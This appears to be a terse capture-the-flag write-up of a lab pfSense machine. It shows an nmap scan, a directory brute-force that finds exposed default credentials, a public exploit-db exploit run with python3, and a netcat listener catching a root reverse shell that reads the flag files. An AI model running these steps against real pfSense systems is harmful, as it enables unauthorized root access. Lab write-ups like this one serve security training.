```
[]$ nmap -Pn -T4 -A -v 10.129.42.238

80/tcp  open  http       lighttpd 1.4.35
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: lighttpd/1.4.35
|_http-title: Did not follow redirect to https://10.129.42.238/
|_https-redirect: ERROR: Script execution failed (use -d to debug)
443/tcp open  ssl/https?
|_ssl-date: TLS randomness does not represent time

Dirbuster, with the directory-list-lowercase-2.3-medium.txt, finds a system-user.txt which exposes the
PFSense login credentials :

https://10.129.42.238/system-users.txt

####Support ticket###
Please create the following user
username: Rohit
password: company defaults

rohit:pfsense

---------------------------------------------

https://www.exploit-db.com/exploits/43560

└──╼ [★]$ nc -lvnp 1234
listening on [any] 1234 ...

└──╼ [★]$ python3 exploit.py --rhost 10.129.42.238 --lhost 10.10.14.7 --lport 1234 --username rohit
--password pfsense
CSRF token obtained
Running exploit...
Exploit completed

└──╼ [★]$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.14.7] from (UNKNOWN) [10.129.42.238] 54697
sh: can't access tty; job control turned off
# whoami
root
# cd /
# cd home
# cd rohit
# cat user.txt
8721327cc232********************
# cd /
# cd root
# cat root.txt
d08c32a5d4f8********************
#
```